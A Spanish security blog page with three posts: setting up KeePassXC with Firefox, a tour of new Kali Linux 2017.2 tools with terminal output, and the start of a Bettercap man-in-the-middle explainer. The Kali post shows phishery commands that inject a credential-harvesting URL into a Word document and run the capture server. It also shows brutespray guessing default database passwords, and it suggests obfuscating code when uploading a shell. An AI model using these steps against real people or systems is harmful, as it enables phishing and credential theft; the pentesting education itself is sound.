Blog sobre seguridad informática, privacidad, anonimato, hacking ético, programación y sistemas operativos en general.

Mostrando las entradas con la etiqueta password. Mostrar todas las entradas
Mostrando las entradas con la etiqueta password. Mostrar todas las entradas

jueves, 30 de noviembre de 2017

Integrando KeePassXC junto a Firefox.


Anteriormente hablamos de KeePassXC, un potente, seguro y moderno gestor de contraseñas multiplataforma. 

El día de hoy les vamos a enseñar cómo configurarlo de tal manera que no sea necesario introducir todas las contraseñas y datos de acceso manualmente en la aplicación, sino que esto se realice automáticamente cuando hagamos el ingreso en un sistio web mediante el navegador Firefox. Para esto vamos a utilizar un addon llamado KeePassHTTP-Connector



Una vez instalado abrimos nuestro KeePassXC instalado y realizamos lo siguiente:

1. Abrimos nuestro KeePassXC, vamos a la sección "Tools -> Settings -> Browser Integration" y activamos la opción "Enable KeePassHTTP server".


2. Una vez hecho esto, volvemos a Firefox y presionamos sobre el ícono de KeePassHTTP-Connector y seguidamente en "Connect".


3. Una vez hagamos click en conectar, nos informará que KeePassHTTP está solicitando un ID o un nombre para la base de datos que queremos crear en el servidor interno, en mi caso colocaré "shldb".



4. Si nos vamos nuevamente al ícono de KeePassHTTP-Connector, nos damos cuenta que se ha quitado la "x" roja y además nos muestra un mensaje que dice que está conectado al servidor KeePassHTTP usando el identificador de la base de datos asignado en el paso anterior.


Con eso tenemos todo listo, ahora hagamos la prueba. Vayamos a cualquier sitio donde tengamos un login activo, yo lo haré en https://chat.disroot.org/#/login. Cómo podemos observar, al momento de introcucir nuestras credenciales y dar click en "Login", el ícono de KeePassHTTP-Connector cambia a color rojo y empieza un leve parpadeo. Al dar click en el ícono nos informará que se ha detectado un cambio en usuario o contraseña y preguntará si deseamos añadir los datos de acceso a la base de datos de KeePassHTPP, damos en "New".
 


Ahora podemos verificar que en realidad se ha añadido a la base de datos de KeePassXC yendo a ella y comprobando la lista de accesos.


A continuación dejaremos un vídeo donde se realizará paso a paso lo escrito en el blog.



Notas.

* Para que el protocolo KeePassHTTP funcione, es necesario que la base de datos de KeePassXC permaneza desbloqueda.

* KeePassHTTP no es un protocolo altamente seguro y tiene ciertos fallos que permiten a un atacante descifrar sus contraseñas si logran interceptar la comunicación entre un servidor KeePassHTTP y KeePassHTTP-Connector a través de una conexión de red (ver aquí y aquí). Por lo tanto, KeePassXC limita estrictamente la comunicación entre él y el complemento del navegador a su computadora local. Mientras su computadora no se vea comprometida, sus contraseñas son bastante seguras de esa manera, ¡pero úselas bajo su propio riesgo!.

* Si lo único que vas a guardar, son contraseñas de accesos web, te recomendamos configurar y utilizar la contraseña maestra de Firefox en lugar de un gestor de contraseñas.

Esperamos que esta publicación haya sido de utilidad, cualquier inquietud o sugerencia dejarla en los comentarios o bien, en los medios que indicamos a continuación. 

Síguenos en Facebook, Twitter, unete a nuestra charla en Riot, únete a IRC o únete a Telegram.

martes, 26 de septiembre de 2017

Kali Linux 2017.2: La reciente versión de Kali Linux, sus nuevas herramientas, funciones y uso.


Kali Linux es una distribución especialmente diseñada para pruebas de pentesting en todos los ámbitos, debido a su gran calidad, número de herramientas y eficiencia, es la distribución de hacking más conocida a nivel mundial. Este pasado 20 de septiembre Kali Linux lanzó su ultima versión, Kali Linux 2017.2 la cual incluye un gran número significativo de cambios. A raiz del lanzamiento han salido a la luz cientos de publicaciones pero todas muy superficiales y poco útiles a decir verdad, más allá de algo meramente informativo no dicen mucho más. Nosotros nos enfocaremos en explicar sus nuevas herramientas, uso y sus funciones a detalle para que sean comprensibles. La versión mencionada puede ser descargada desde aquí, si ya tienes Kali Linux instalado solamente debes ejecutar los siguientes comandos:

apt update && apt upgrade && apt full-upgrade

A continuación mencionaremos sus nuevas herramientas:

1. hURL (Hexadecimal & URL encoder/decoder): Es un script sencillo, ligero y que cumple con todos los requisitos al momento de usarlo. Cómo su nombre lo indica sirve para codificar/decodificar URL's en diferentes tipos de formatos o hash. Las opciones disponible las podemos ver con el comando hurl --help, también podemos ejecutarlo a modo de una especie de "GUI" mediante el comando hurl -M.


[shl@SecHackLabs ~]$ hurl --help
.::[ hURL - hexadecimal & URL (en/de)coder ]::.
v2.1 @COPYLEFT  ->  fnord0 <at> riseup <dot> net

  USAGE: /usr/bin/hurl [ -flag|--flag ] [ -f <file1>,<file2> ] [ string ]

  COMMAND LINE ARGUMENTS
   -M|--menu    => Menu-driven GUI         ;  /usr/bin/hurl -M
   -U|--URL    => URL encode             ;  /usr/bin/hurl -U "hello world"
   -u|--url    => uRL decode             ;  /usr/bin/hurl -u "hello%20world"
   -D|--DURL    => Double URL encode         ;  /usr/bin/hurl -D "hello world"
   -d|--durl    => double URL decode         ;  /usr/bin/hurl -d "hello%2520world"
   -B|--BASE64    => Base64 encode         ;  /usr/bin/hurl -B "hello world"
   -b|--base64    => base64 decode         ;  /usr/bin/hurl -b "aGVsbG8gd29ybGQ="
   -H|--HTML    => HTML encode             ;  /usr/bin/hurl -H "<hello world>"
   -h|--html    => hTML decode             ;  /usr/bin/hurl -h "&lt;hello world&gt;"
   -X|--HEX    => ascii ->  heX         ;  /usr/bin/hurl -X "hello world"
    --esc   :: output in escaped string        ; "\x00\x01\x02\x03 ..."
    --pair  :: output in hexpair format        ; 00010203 ...
   -x|--hex    => hex   ->  ascii         ;  /usr/bin/hurl -x "68656c6c6f20776f726c64"
   -I|--INT    => Int   ->  hex         ;  /usr/bin/hurl -I "10"
   -i|--int    => hex   ->  int         ;  /usr/bin/hurl -i "0xa"
   -n|--nint    => -int  ->  hex         ;  /usr/bin/hurl -n -- -77
   -N|--NHEX    => -hex  ->  iNt         ;  /usr/bin/hurl -N 0xffffffb3
   -T|--INTB    => inT   ->  bin         ;  /usr/bin/hurl -T 30
   -t|--bint    => bin   ->  int         ;  /usr/bin/hurl -t 1010
   -F|--FLOATH    => Float ->  hex         ;  /usr/bin/hurl -F 3.33
   -l|--hfloat    => hex   ->  float         ;  /usr/bin/hurl -l 0x40551ed8
   -o|--octh    => octal ->  hex         ;  /usr/bin/hurl -o 35
   -O|--HOCT    => hex   ->  Octal         ;  /usr/bin/hurl -O 0x12
   -0|--binh    => bin   ->  hex         ;  /usr/bin/hurl -0 1100011
   -1|--hexb    => hex   ->  bin         ;  /usr/bin/hurl -1 0x63
   -2|--SHA1    => SHA1 checksum         ;  /usr/bin/hurl -2 "hello world"
   -3|--SHA224    => SHA224 checksum         ;  /usr/bin/hurl -3 "hello world"
   -4|--SHA256    => SHA256 checksum         ;  /usr/bin/hurl -4 "hello world"
   -5|--SHA384    => SHA384 checksum         ;  /usr/bin/hurl -5 "hello world"
   -6|--SHA512    => SHA512 checksum         ;  /usr/bin/hurl -6 "hello world"
   -7|--ROT13    => ROT13 encode             ;  /usr/bin/hurl -7 "hello world"
   -8|--rot13    => ROT13 decode             ;  /usr/bin/hurl -8 "uryyb jbeyq"
   -9|--stack    => push string 2 stack (corelan) ;  /usr/bin/hurl -9 "hello world"
    --esc   :: output in escaped string        ; "\x00\x01\x02\x03 ..."
    --pair  :: output in hexpair format        ; 00010203 ...
    --ansiC :: output in C format            ; 0x00, 0x01, 0x02, 0x03 ...
   -m|--md5    => md5 digest             ;  /usr/bin/hurl -m "hello world"
   -e|--net    => int -> hex (net-byte order)   ;  /usr/bin/hurl -e 4444
   -E|--NET    => hex (nEt-byte order) ->  int  ;  /usr/bin/hurl -E 5c11
   -w|--wbin    => hex [file] -> binary [file]     ;  /usr/bin/hurl -w -f <INfile> <OUTfile>
   -r|--rbin    => binary [file] -> hex (corelan);  /usr/bin/hurl -r -f /tmp/msgbox.bin
    --esc   :: output in escaped string        ; "\x00\x01\x02\x03 ..."
    --pair  :: output in hexpair format        ; 00010203 ...
    --ansiC :: output in C format            ; 0x00, 0x01, 0x02, 0x03 ...

   --color|--nocolor    => enable/disable colored output [default is ENABLED]
   --corelan        => display corelan reference
   --help        => displays help
   --man        => displays extended help with examples
   --version        => displays version information

   -s                => suppress (display result only)
   -f|--file <file1>,<file2>    => use file(s) as input
   [string]            => string as input

 

[shl@SecHackLabs ~]$ hurl -M
    [========================================================]
    [          hURL - v2.1 by fnord0 - @COPYLEFT             ]
    [========================================================]

 ##     Command            Example Input        Example Output
 ---    ----------------    -------------        --------------
  1)    URL encode        hello world        hello%20world
  2)    URL decode        hello%20world        hello world
  3)    Double URL encode    hello world        hello%2520world
  4)    Double URL decode    hello%2520world        hello world
  5)    Base64 encode        hello world        aGVsbG8gd29ybGQ=
  6)    Base64 decode        aGVsbG8gd29ybGQ=    hello world
  7)    HTML encode        <hello world>        &lt;hello world&gt;
  8)    HTML decode        &lt;hello world&gt;    hello world
  9)    RAW/ascii -> HEX    hello world        68656c6c6f20776f726c64
 10)    HEX   ->  RAW/ascii    68656c6c6f20776f726c64    hello world
 11)    INT   ->  HEX        10            0xa
 12)    HEX   ->  INT        0xa            10
 13)    -INT  ->  HEX        -77            FFFFFFFFFFFFFFB3
 14)    -HEX  ->  INT        FFFFFFB3        -77
 15)    INT   ->  BIN        30            00011110
 16)    BIN   ->  INT        1010            10
 17)    FLOAT ->  HEX        3.33            0xb81e5540
 18)    HEX   ->  FLOAT        0x40551ed8        1079320280.000000
 19)    OCTAL ->  HEX        35            0x1d
 20)    HEX   ->  octal        0x1d            35
 21)    BIN   ->  HEX        1100011            0x63
 22)    HEX   ->  BIN        63            1100011
 23)    SHA1 checksum        hello world        2aae6c35c94fcfb415dbe95f408b9ce9...
 24)    SHA224 checksum        hello world        2f05477fc24bb4faefd86517156dafde...
 25)    SHA256 checksum        hello world        b94d27b9934d3e08a52e52d7da7dabfa...
 26)    SHA384 checksum        hello world        fdbd8e75a67f29f701a4e040385e2e23...
 27)    SHA512 checksum        hello world        309ecc489c12d6eb4cc40f50c902f2b4...
 28)    ROT13 encode        hello world        uryyb jbeyq
 29)    ROT13 decode        uryyb jbeyq        hello world
 30)    MD5 digest        hello world        5eb63bbbe01eeed093cb22bb8f5acdc3

 ##     Commands useful for shellcode creation     Input           Output
 ---    --------------------------------------     -----           ------
 31)    push string 2 stack (corelanc0d3r)     hello world   ASM code to push string to stack
 32)    BINARY [infile] -> HEX (corelanc0d3r)     BINARY FILE   HEX to screen + counts NULL bytes
 33)    HEX [infile] -> BINARY [outfile]     HEX FILE      BINARY FILE
 34)    INT -> HEX (network-byte order)         4444           5c11
 35)    HEX (network-byte order) -> INT         5c11           4444

 99)    Exit hURL

hURL> 5
hURL:Base64encode> string or file? :: [string] 
hURL:Base64encode:string> http://securityhacklabs.blogspot.com

Original       :: http://securityhacklabs.blogspot.com
base64 ENcoded :: aHR0cDovL3NlY3VyaXR5aGFja2xhYnMuYmxvZ3Nwb3QuY29t

Press ENTER to continue...

 
Es una herramienta a la que podemos además darle otros usos como codificar archivos también para después darles otro uso (payloads codificados o simplemente ofuscar el código para que no sea visible a todo el mundo cuando querramos subir una shell a un servidor, son ejemplos).

[shl@SecHackLabs ~]$ echo "https://securityhacklabs.blogspot.com" > test
[shl@SecHackLabs ~]$ hurl -X -f test

Original file :: test
Hex ENcoded   :: 68747470733a2f2f73656375726974796861636b6c6162732e626c6f6773706f742e636f6d
File byte count: 37 bytes
[shl@SecHackLabs ~]$ hurl -X --esc -f test

Original file :: test
Hex ENcoded   :: "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x65\x63\x75\x72\x69\x74\x79\x68\x61\x63\x6b\x6c\x61\x62\x73\x2e\x62\x6c\x6f\x67\x73\x70\x6f\x74\x2e\x63\x6f\x6d"
File byte count: 37 bytes
[shl@SecHackLabs ~]$ 

2. Phishery: Es un servidor HTTP SSL simple con el propósito principal de robar credenciales por medio de phishing mediante la autenticación básica en sistemas windows. Phishery también proporciona la capacidad de inyectar fácilmente URL's maliciosas en documentos .docx de Word.

El poder de phishery se demuestra mejor cambiando la plantilla de un documento de Word en una URL de phishery. Esto hace que Microsoft Word haga una solicitud a la dirección URL inyectada, lo que resulta en un cuadro de diálogo de autenticación que se muestra al usuario final. La posibilidad de inyectar cualquier archivo .docx con una URL se puede hacer de la siguiente manera:


[shl@SecHackLabs ~]$ phishery -u https://securityhacklabs.blogspot.com -i ~/documento.docx -o ~/documentoinfectado.docx
[+] Opening Word document: /home/shl/documento.docx
[+] Setting Word document template to: https://securityhacklabs.blogspot.com
[+] Saving injected Word document to: /home/shl/documentoinfectado.docx
[*] Injected Word document has been saved!
[shl@SecHackLabs ~]$ 

Si la injección ha sido exitosa, cuando el usuario final abra el archivo .docx se le presentará una ventana cómo la que aparece a continuación.


Nota: Es importante cambiar la URL a la que deseamos que nuestra víctima envíe sus credenciales, es decir, colocar en el parámetro -u la dirección IP y el puerto generado al ejecutar cómo root el comando phishery.


[shl@SecHackLabs ~]$ sudo phishery 

[sudo] password for shl: 

[+] Credential store initialized at: credentials.json

[+] Starting HTTPS Auth Server on: 0.0.0.0:443

Las credenciales robadas se guardarán en el fichero credentials.json.

3. SSH-Audit: Una herramienta diseñada para auditar servicios SSH en servidores la cual puede detectar tipos de encriptación, sistemas operativos, versiones usadas, recomendar posibles exploits para usar en cada versión del software ejecutado en el objetivo, soporta los protocolos SSH1 y SSH2 y recomienda algoritmos de acuerdo al software que sea reconocido en el objetivo.

[shl@SecHackLabs ~]$ ssh-audit 

# ssh-audit.py v1.7.0, moo@arthepsy.eu



usage: ssh-audit.py [-1246pbnvl] <host>



   -h,  --help             print this help

   -1,  --ssh1             force ssh version 1 only

   -2,  --ssh2             force ssh version 2 only

   -4,  --ipv4             enable IPv4 (order of precedence)

   -6,  --ipv6             enable IPv6 (order of precedence)

   -p,  --port=<port>      port to connect

   -b,  --batch            batch output

   -n,  --no-colors        disable colors

   -v,  --verbose          verbose output

   -l,  --level=<level>    minimum output level (info|warn|fail)

Para usarlo necesitamos un servidor corriendo SSH, tomamos cómo ejemplo Github. El uso básico es sencillo: ssh-audit $servidor.

[shl@SecHackLabs ~]$ ssh-audit github.com
# general
(gen) banner: SSH-2.0-libssh_0.7.0
(gen) compatibility: OpenSSH 6.5-6.6, Dropbear SSH 2013.62+ (some functionality from 0.52)
(gen) compression: enabled (zlib, zlib@openssh.com)

# key exchange algorithms
(kex) curve25519-sha256@libssh.org          -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp256                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp384                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp521                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) diffie-hellman-group-exchange-sha256  -- [warn] using custom size modulus (possibly weak)
                                            `- [info] available since OpenSSH 4.4
(kex) diffie-hellman-group14-sha1           -- [warn] using weak hashing algorithm
                                            `- [info] available since OpenSSH 3.9, Dropbear SSH 0.53
(kex) diffie-hellman-group1-sha1            -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [fail] disabled (in client) since OpenSSH 7.0, logjam attack
                                            `- [warn] using small 1024-bit modulus
                                            `- [warn] using weak hashing algorithm
                                            `- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.28

# host-key algorithms
(key) ssh-dss                               -- [fail] removed (in server) and disabled (in client) since OpenSSH 7.0, weak algorithm
                                            `- [warn] using small 1024-bit modulus
                                            `- [warn] using weak random number generator could reveal the key
                                            `- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28
(key) ssh-rsa                               -- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28

# encryption algorithms (ciphers)
(enc) chacha20-poly1305@openssh.com         -- [info] available since OpenSSH 6.5
                                            `- [info] default cipher since OpenSSH 6.9.
(enc) aes256-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes192-ctr                            -- [info] available since OpenSSH 3.7
(enc) aes128-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes256-cbc                            -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [warn] using weak cipher mode
                                            `- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.47
(enc) aes192-cbc                            -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [warn] using weak cipher mode
                                            `- [info] available since OpenSSH 2.3.0
(enc) aes128-cbc                            -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [warn] using weak cipher mode
                                            `- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.28
(enc) blowfish-cbc                          -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
                                            `- [fail] disabled since Dropbear SSH 0.53
                                            `- [warn] disabled (in client) since OpenSSH 7.2, legacy algorithm
                                            `- [warn] using weak cipher mode
                                            `- [warn] using small 64-bit block size
                                            `- [info] available since OpenSSH 1.2.2, Dropbear SSH 0.28

# message authentication code algorithms
(mac) hmac-sha2-256                         -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha2-512                         -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha1                             -- [warn] using encrypt-and-MAC mode
                                            `- [warn] using weak hashing algorithm
                                            `- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28

# algorithm recommendations (for OpenSSH 6.5)
(rec) -ecdh-sha2-nistp521                   -- kex algorithm to remove 
(rec) -ecdh-sha2-nistp384                   -- kex algorithm to remove 
(rec) -ecdh-sha2-nistp256                   -- kex algorithm to remove 
(rec) -diffie-hellman-group1-sha1           -- kex algorithm to remove 
(rec) -diffie-hellman-group14-sha1          -- kex algorithm to remove 
(rec) -ssh-dss                              -- key algorithm to remove 
(rec) +ssh-ed25519                          -- key algorithm to append 
(rec) -aes192-cbc                           -- enc algorithm to remove 
(rec) -aes128-cbc                           -- enc algorithm to remove 
(rec) -blowfish-cbc                         -- enc algorithm to remove 
(rec) -aes256-cbc                           -- enc algorithm to remove 
(rec) +aes128-gcm@openssh.com               -- enc algorithm to append 
(rec) +aes256-gcm@openssh.com               -- enc algorithm to append 
(rec) -hmac-sha2-512                        -- mac algorithm to remove 
(rec) -hmac-sha1                            -- mac algorithm to remove 
(rec) -hmac-sha2-256                        -- mac algorithm to remove 
(rec) +hmac-sha2-256-etm@openssh.com        -- mac algorithm to append 
(rec) +hmac-sha2-512-etm@openssh.com        -- mac algorithm to append 
(rec) +umac-128-etm@openssh.com             -- mac algorithm to append 

Esta herramienta es bastante útil si queremos explotar fallos SSH en versiones antiguas de software instalado, si queremos una información más detallada basta con ejecutar: ssh-audit -l info $servidor.

4. APT2 (Automated Penetration Tool): APT2, es una herramienta diseñada para realizar diferentes tipos de escaneos utilizando Nmap o bien, importar resultados generados por Nexpose, Nessus o Nmap.Los resultados y reportes son generados en formato HTML para que sean más comprensibles al usuario final.

APT2 ha sido probado hasta el nomento en sistemas GNU/Linux solamente, para que se ejecute su módulo principal necesitamos tener instalada la librería python2-nmap. Si deseamos un escaner más robusto y con más características necesitamos instalar las siguientes dependencias: convert, dirb, hydra, java, john, ldapsearch, msfconsole, nmap, nmblookup, phantomjs, responder, rpcclient, secretsdump.py, smbclient, snmpwalk, sslscan y xwd.

Su configuración puede ser modificada, lo que hace que sea muy sencilla y fácil de adaptar a nuestras necesidades, es archivo de configuración está en /usr/share/apt2/misc/default.cfg, o bien en el directorio /misc dentro de la instlación o descarga de APT2.

¿Que podemos realizar con APT2?

* Identificar servicios y sistemas operativos.
* Tomas capturas de pantalla de aplicaiones web, VNC, X11, etc. 
* Analizar servicios FTP y archivos compartidos.
* Lanzar ataques de fuerza bruta.
* Lanzar módulos de metasploit.
* Desencriptar hashes usando Jhon The Ripper/Hashcat.


A continuación un vídeo demostrativo sobre el uso y lo que se puede lograr con APT2.

5. BloodHunt: Es una herramienta que usa la teoría de los gráficos para identificar y revelar rutas no deseadas dentro de un entorno de Active Directory, las cuales pueden ser usadas por un atacante para obtener accesos no autorizados o bien por el administrador de un Active Directory para corregir los fallos. BloodHunt es una aplicación web JavaScript de una sola página, basada en Linkurious,compilada con  Electron y con una base de datos Neo4j la cual es conectada mediante PowerShell. Si deseas más información acerca de BloodHunt la puedes encontrar en su Wiki.


6. CrackMapExec(CME): Es una herramienta de post-explotación que ayuda a automatizar la evaluación de la seguridad en grandes redes con Active Directory. CME sigue el principio "Viviendo de la tierra", es decir, utiliza funciones y protocoloes propios de Active Directory para funcionar lo que le permite evadir la mayoría de IDS (Sistema de deteccion de intrusos)/IPS y medidas de seguridad implementadas normalmente.

Inicialmente fue diseñada para realizar ataques pero puede ser usada por auditores/administradores para analizar sus redes y corregir fallos. CME facilita
el uso de PowerSploit, una herramienta que utiliza funciones propias de PowerShell para realizar técnicas de ataque y explotación. Podemos encontrar más acerca de CME en su wiki.
 

7. Dbeaver: Es un cliente para el manejo de bases de datos que soporta los muchos tipos de bases de datos entre ellos: MySQL, PostgreSQL, MariaDB, SQLite, Oracle, DB2, SQL Server, Sybase, MS Access, Teradata, Firebird, Derby, etc. Especial para el manejo de servidores o laboratorios propios que deseemos crear para realizar pruebas de pentesting.


8. Brutespray: Brutespray es una herramienta que funciona de la siguiente manera: Realiza un escaneo con Nmap y de acuerdo a sus resultados comprueba contraseñas y usuarios por defecto en servicios encontrados usando el cracker de contraseñas Medusa. A continuación dejaré la salida por terminal de brutespray para que entiendan el funcionamiento de esta herramienta.

[shl@SecHackLabs ~]$ nmap localhost -oG test.gnmap

Starting Nmap 7.60 ( https://nmap.org ) at 2017-09-26 23:24 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000037s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
3306/tcp open  mysql
5432/tcp open  postgresql
9050/tcp open  tor-socks

Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds
[shl@SecHackLabs ~]$ less test.gnmap 
[shl@SecHackLabs ~]$ sudo brutespray --file /home/shl/test.gnmap --threads 5 --hosts 5

 brutespray.py v1.5.2
 Created by: Shane Young/@x90skysn3k && Jacob Robles/@shellfail
 Inspired by: Leon Johnson/@sho-luv
 Credit to Medusa: JoMo-Kun / Foofus Networks <jmk@foofus.net>

Starting to brute, please make sure to use the right amount of threads(-t) and parallel hosts(-T)...  \

Brute-Forcing...     
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 2, 1 complete) Password: password (1 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 2, 1 complete) Password: admin (2 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 2, 1 complete) Password: admin (1 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 2, 1 complete) Password: root (2 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 2, 1 complete) Password: toor (3 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 2, 2 complete) Password: root (4 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 2, 2 complete) Password: toor (3 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 2, 2 complete) Password: password (4 of 4 complete)
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: Password1 (1 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: toor (2 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: password (3 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: root (4 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 1 complete) Password: password1 (5 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 1 complete) Password: password123 (6 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 1 complete) Password: Password123 (7 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: postgres (1 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 1 complete) Password: postgres (8 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: root (2 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: toor (3 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: Password1 (4 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: password (5 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: password1 (6 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 2 complete) Password: Password123 (7 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 2 complete) Password: password123 (8 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: postgres (3 of 3, 2 complete) Password: postgres (1 of 8 complete)
ACCOUNT FOUND: [postgres] Host: 127.0.0.1 User: postgres Password: postgres [SUCCESS]
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: postgres (3 of 3, 3 complete) Password: toor (2 of 8 complete)
ACCOUNT FOUND: [postgres] Host: 127.0.0.1 User: postgres Password: toor [SUCCESS]
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: postgres (3 of 3, 4 complete) Password: Password1 (3 of 8 complete)
ACCOUNT FOUND: [postgres] Host: 127.0.0.1 User: postgres Password: Password1 [SUCCESS]
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: postgres (3 of 3, 5 complete) Password: root (4 of 8 complete)
ACCOUNT FOUND: [postgres] Host: 127.0.0.1 User: postgres Password: root [SUCCESS]
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: postgres (3 of 3, 6 complete) Password: password (5 of 8 complete)
ACCOUNT FOUND: [postgres] Host: 127.0.0.1 User: postgres Password: password [SUCCESS]
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>


Recomendaciones.

1. A pesar de que Kali Linux es una distribución que tomó el modelo rolling-release, aún no se acopla en su totalidad a dicho modelo y por lo tanto las grandes actualizaciones (entre versiones) terminan con paquetes y/o tuberías rotas, lo más recomendable es que hagas un backup de tus datos y reinstales la distribución desde la ISO nueva.

2. Si aún conociendo los riesgos anteriores deseas no reinstalar, BAJO NINGÚN MOTIVO ejecutes directamente el apt update && apt-dist-upgrade, debido a que muchas de las nuevas librerías y/o paquetes dependen de otras nuevas es MUY RECOMENDABLE ejecutar el apt upgrade antes de pasar a la siguiente versión.

3. Si reinstalas Kali Linux (O cualquier otra distribución) siempre debes dejar al menos la carpeta /home/$user por fuera del disco root, es decir, en una partición aparte. De este modo evitas tener que realizar backups fuera de la unidad o tener que volver a descargar archivos.

4. Existe una distribución de Hacking que es modelo Rolling-release por naturaleza: BlackArch. ¡Anímate a probarla! Security Hack Labs la recomienda.

5. Otra opción es que utilices la reconocida y pretigiosa distribución ArchLinux cómo una distribución de hacking, aquí te enseñamos cómo hacerlo.

6. Si deseas conocer cual versión de Kali Linux estás usando luego de actualizar, basta con que escribas el comando: lsb_release -a.

Con esto finalizamos esta publicación la cual esperamos que haya sido de su agrado. Si tienen dudas, recomendaciones sobre nuevos post o cualquier mensaje, pueden dejarlo en los comentarios.

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot (Para charlar con nosotros online).

También puedes dejar su donación a nuestra cuenta Paypal.

jueves, 7 de septiembre de 2017

Bettercap - Una herramienta completa, modular y de fácil uso para realizar ataques Man-In-The-Middle estudiada a fondo.



Buen día a todos nuestros lectores, hoy vamos a explicarles las principales funciones de esta poderosa herramienta, así como su instalación, principales funciones y sus modos de uso.

¿Qué es Bettercap?

BetterCAP es una herramienta potente, flexible y portátil creada para realizar varios tipos de ataques MITM contra una red, manipular HTTP , HTTPS y tráfico TCP en tiempo real, buscar credenciales y mucho más. 

Ataques Man-In-The-Middle.

En la criptografía y la seguridad informática , un ataque de hombre en el medio (a menudo abreviado a MITM , MitM , MIM , MiM o MITMA ) es un ataque donde el atacante secretamente transmite y posiblemente altera la comunicación entre dos partes que creen que son comunicándose directamente entre sí .  A través de una analogía de ajedrez se pueden pensar los ataques de hombre en el medio .

